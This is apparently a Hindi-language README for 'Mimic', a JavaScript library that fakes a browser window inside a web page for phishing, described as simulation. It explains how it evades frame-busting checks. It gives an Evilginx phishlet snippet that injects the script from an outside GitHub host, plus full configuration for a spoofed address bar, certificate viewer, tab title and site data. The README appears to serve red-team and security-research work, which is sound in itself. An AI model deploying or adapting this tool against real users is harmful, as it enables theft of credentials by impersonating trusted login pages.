
Frameless Browser-in-the-Browser (BitB) - कोई iframes नहीं, कोई frame-busting समस्या नहीं। यथार्थवादी फ़िशिंग सिमुलेशन के लिए एक एकल-स्क्रिप्ट Shadow DOM / MutationObserver लाइब्रेरी, जिसे reverse proxy के माध्यम से आसानी से इंजेक्ट किया जा सकता है।
फ्रेमलेस ब्राउज़र-इन-द-ब्राउज़र (BitB) - कोई iframes नहीं, कोई frame-busting समस्याएँ नहीं। यथार्थवादी फ़िशिंग सिमुलेशन के लिए एक single-script Shadow DOM / MutationObserver लाइब्रेरी, जिसे reverse proxy के माध्यम से आसानी से inject किया जा सकता है।
⚠️ चेतावनी: केवल इस सॉफ़्टवेयर का उपयोग अपने वर्तमान कानून के अनुसार करें। इस सॉफ़्टवेयर के दुरुपयोग से कानूनी और नैतिक समस्याएँ उत्पन्न हो सकती हैं, जिनका मैं समर्थन नहीं करता और न ही इसके लिए उत्तरदायी ठहराया जा सकता हूँ।
MalwareMonster और मैंने लगभग सात साल पहले इसी दिशा में एक proof-of-concept विकसित किया था, जिसे FISHY कहा गया। इस परियोजना ने BitB वेक्टर को सफलतापूर्वक प्रदर्शित किया, हालाँकि उपयोगिता काफी सीमित थी। mrd0x ने लगभग दो साल बाद अपने BITB प्रोजेक्ट के साथ इस अवधारणा को सुरक्षा अनुसंधान समुदाय में व्यापक ध्यान में लाया। हालाँकि, iframes पर अत्यधिक निर्भरता आधुनिक frame-busting तकनीकों के साथ असंगत साबित हुई। जबकि frame-busting JavaScript को फिर से लिखने के लिए substitutions का उपयोग किया जा सकता था, यह दृष्टिकोण कठिन साबित हुआ और इसके लिए निरंतर tweaks की आवश्यकता थी।
waelmas ने लगभग 2 साल बाद frameless-bitb जारी किया, जिसमें एक विशेष रूप से चतुर तंत्र पेश किया गया। iframe को MutationObserver के साथ युग्मित Shadow DOM से बदलकर, उन्होंने प्रभावी रूप से फ़िशिंग सामग्री को मुख्य दस्तावेज़ के भीतर एक div में पुनः निर्धारित कर दिया। महत्वपूर्ण बात यह है कि यह सामग्री एक पृथक frame में रहने के बजाय मुख्य DOM का हिस्सा बनी रही। चूँकि फ़िशिंग पृष्ठ स्वयं अभी भी मुख्य DOM था, frame-busting रूटीन पहले स्थान पर कभी invoked नहीं हुईं। इसने मुख्य तकनीकी बाधा को हल किया, एक महत्वपूर्ण कदम आगे बढ़ाया, और आगे की रिफाइनमेंट के लिए एक ठोस वैचारिक आधार प्रदान किया।
waelmas ने उस नवाचार के साथ प्रभावी रूप से मशाल हमें वापस सौंप दी। उनके कार्यान्वयन में एक अधिक वितरित आर्किटेक्चर शामिल था, जिसके लिए सेवाओं की स्थापना, Apache कॉन्फ़िगरेशन, अलग HTML, CSS और JavaScript फ़ाइलें, विशिष्ट user interfaces, और एक स्थिर ऑपरेटिंग सिस्टम चयन (या तो Windows या macOS) की आवश्यकता थी, बिना गतिशील browser detection के। हालाँकि proof-of-concept प्रकृति को देखते हुए ये तत्व उचित थे, हमने पहचाना कि मुख्य Shadow DOM और MutationObserver लॉजिक को अलग करके एक ही script के माध्यम से सीधे हमारे मौजूदा Evilginx reverse proxy में inject किया जा सकता है। इसने हमें एक हल्की, dependency-free JavaScript लाइब्रेरी बनाने की अनुमति दी जो किसी भी वेबपेज के अंदर बिना iframes के एक यथार्थवादी नकली ब्राउज़र प्रस्तुत करती है, साथ ही उस रचनात्मक bypass तकनीक को संरक्षित रखती है जिसे waelmas ने मूल रूप से आरंभ किया था।
Mimic वर्तमान वेबपेज के ऊपर एक यथार्थवादी नकली ब्राउज़र बनाता है, जिसमें address bar, window controls, site information, certificate details, cookies और site data, themes, और OS-विशिष्ट styling शामिल होते हैं।
iframe के अंदर लक्षित वेबसाइट को लोड करने के बजाय, Mimic वास्तविक वेबसाइट DOM लेता है और उसे सीधे नकली ब्राउज़र के viewport में inject करता है।
नकली ब्राउज़र स्वयं एक खुले Shadow DOM के अंदर रहता है, जो उसकी styles को वेबसाइट से अलग रखता है। वेबसाइट light DOM में बनी रहती है और नकली ब्राउज़र में निम्नलिखित के माध्यम से डाली जाती है:
<slot name="mimic-content"></slot>
यदि कोई content प्रदान नहीं किया गया है, तो Mimic वर्तमान पृष्ठ के मौजूदा body content को एक आंतरिक wrapper में स्थानांतरित करके स्वचालित रूप से उसे कैप्चर करता है। वेबसाइट को नकली ब्राउज़र में inject करने से पहले यह background, text colour, fonts, font size और line height जैसी महत्वपूर्ण styling को संरक्षित रखता है।
क्योंकि वेबसाइट को किसी अन्य browsing context में embedded होने के बजाय नकली ब्राउज़र में स्थानांतरित किया जाता है, यह वास्तविक top-level पृष्ठ बनी रहती है।
इसका अर्थ है कि पारंपरिक iframe-आधारित framebusting जाँचें जैसे:
if (top !== self) {
top.location = self.location;
}
ट्रिगर नहीं होतीं, क्योंकि:
top === self
वेबसाइट अभी भी मानती है कि वह top-level पृष्ठ के रूप में चल रही है। इसके मौजूदा JavaScript, events, storage, navigation, और application logic सामान्य रूप से कार्य करते रहते हैं, जबकि पृष्ठ दृश्य रूप से नकली ब्राउज़र के अंदर समाहित रहता है।
Mimic inject की गई वेबसाइट को नकली ब्राउज़र के viewport में फिट करने के लिए स्वचालित रूप से scale भी करता है। Scrolling को content layer को translate करके संभाला जाता है, जबकि resize listeners और MutationObserver वेबसाइट के लोड होने या बदलने पर content को दोबारा मापते हैं।
वास्तविक ब्राउज़र टैब को documentTitle और documentFavicon का उपयोग करके भी नियंत्रित किया जा सकता है। Mimic दोनों मानों की निगरानी करता है और यदि वेबसाइट उन्हें बदलने का प्रयास करती है तो उन्हें पुनर्स्थापित कर देता है।
Mimic दृश्य encapsulation है, JavaScript sandbox नहीं। Inject की गई वेबसाइट वास्तविक
window,document, storage, history, और navigation APIs तक पहुँच बनाए रखती है।
Mimic को inject करने के लिए इसे अपने phishlet YAML में जोड़ें:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
कॉन्फ़िगरेशन को सीधे mimic.js के CONFIG में बदला जा सकता है, या जब फ़ंक्शन (openBrowserWindow) को invoke किया जाता है तो उन्हें arguments के रूप में पारित किया जा सकता है:
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
वर्तमान वेबसाइट को कैप्चर और inject करें:
openBrowserWindow();
Landing page के बिना खोलें:
openBrowserWindow({
landing: false
});
नकली ब्राउज़र विंडो को स्वचालित रूप से खोलें:
openBrowserWindow({
autoOpen: true
});
डिबगिंग सक्षम करें (OS और Theme स्विचिंग):
openBrowserWindow({
debug: true
});
उपस्थिति को मैन्युअल रूप से ओवरराइड करें:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
नकली ब्राउज़र विंडो content सेट करें (नकली ब्राउज़र में inject करने के लिए Element, selector, HTML string, या function):
openBrowserWindow({
content: '#page-content'
});
| विकल्प | विवरण |
|---|
domain | नकली address bar में दिखाया गया डोमेन |
addressText | डोमेन के बाद दिखाया गया पथ और query |
scheme | प्रदर्शित URL scheme |
pageTitle | नकली ब्राउज़र विंडो का शीर्षक |
favicon | नकली ब्राउज़र favicon |
documentTitle | वास्तविक ब्राउज़र टैब का शीर्षक |
documentFavicon | वास्तविक ब्राउज़र टैब का favicon |
content | नकली ब्राउज़र में inject करने के लिए element, selector, HTML string या function |
contentWidth | inject की गई वेबसाइट को scale करते समय उपयोग की जाने वाली आधार चौड़ाई |
windowWidth | नकली ब्राउज़र की चौड़ाई |
windowHeight | नकली ब्राउज़र की ऊँचाई |
learnMoreUrl | सुरक्षा Learn More लिंक का गंतव्य |
siteSettingsUrl | Site Settings का गंतव्य |
cookies | Cookie सारांश कॉन्फ़िगरेशन |
autoOpen | Landing page बनने पर नकली ब्राउज़र को स्वचालित रूप से खोलता है |
os | null, mac, windows, या linux; null स्वचालित पहचान का उपयोग करता है |
theme | auto, light, या dark |
debug | OS और theme स्विचर प्रदर्शित करता है |
onClose | नकली ब्राउज़र बंद होने पर कॉल किया जाने वाला function |
landing | Landing page को सक्षम, अक्षम, या प्रतिस्थापित करता है |
enterSelector | नकली ब्राउज़र खोलने वाले landing element के लिए selector |
siteData | On-device site-data डायलॉग को कॉन्फ़िगर करता है |
certificate | Certificate viewer को कॉन्फ़िगर करता है |